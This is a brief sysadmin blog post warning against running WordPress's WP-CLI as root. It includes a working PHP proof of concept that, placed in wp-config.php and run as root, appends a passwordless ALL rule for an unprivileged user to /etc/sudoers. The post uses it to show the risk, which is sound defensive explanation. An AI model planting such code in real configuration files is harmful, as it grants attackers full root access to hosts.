Don't run WP-CLI as root!

I've been very tardy documenting this, but it's not like it's some amazing finding so I think it's okay. At work I'd noticed one or two folks here and there running WordPress' CLI as root, despite that software doing its best to ensure users don't. We took technical steps to prevent this from happening, but to drive home the full horror of why you should not do that, I decided to write a simple proof of concept.

Simply drop this into your wp-config.php file (anywhere you like, but it probably wants to be above the "Pencils down" line):

function test_access() {
        $user = 'unprivileged_ssh_user';
        $target = '/etc/sudoers';
        if (0 != getmyuid()) return;
        file_put_contents($target, $user . ' ALL=(ALL) NOPASSWD: ALL' . PHP_EOL , FILE_APPEND | LOCK_EX);
}

test_access();

Please excuse my god-awful PHP skills.

With this, any wp-cli command, including those that use --skip-plugins, --skip-themes etc when run as root will grant the user who left the code there full root access to the machine. WordPress hosts by default should not trust their users' code to run in a privileged context, which is exactly what running wp-cli as root does.

Don't do it, ever.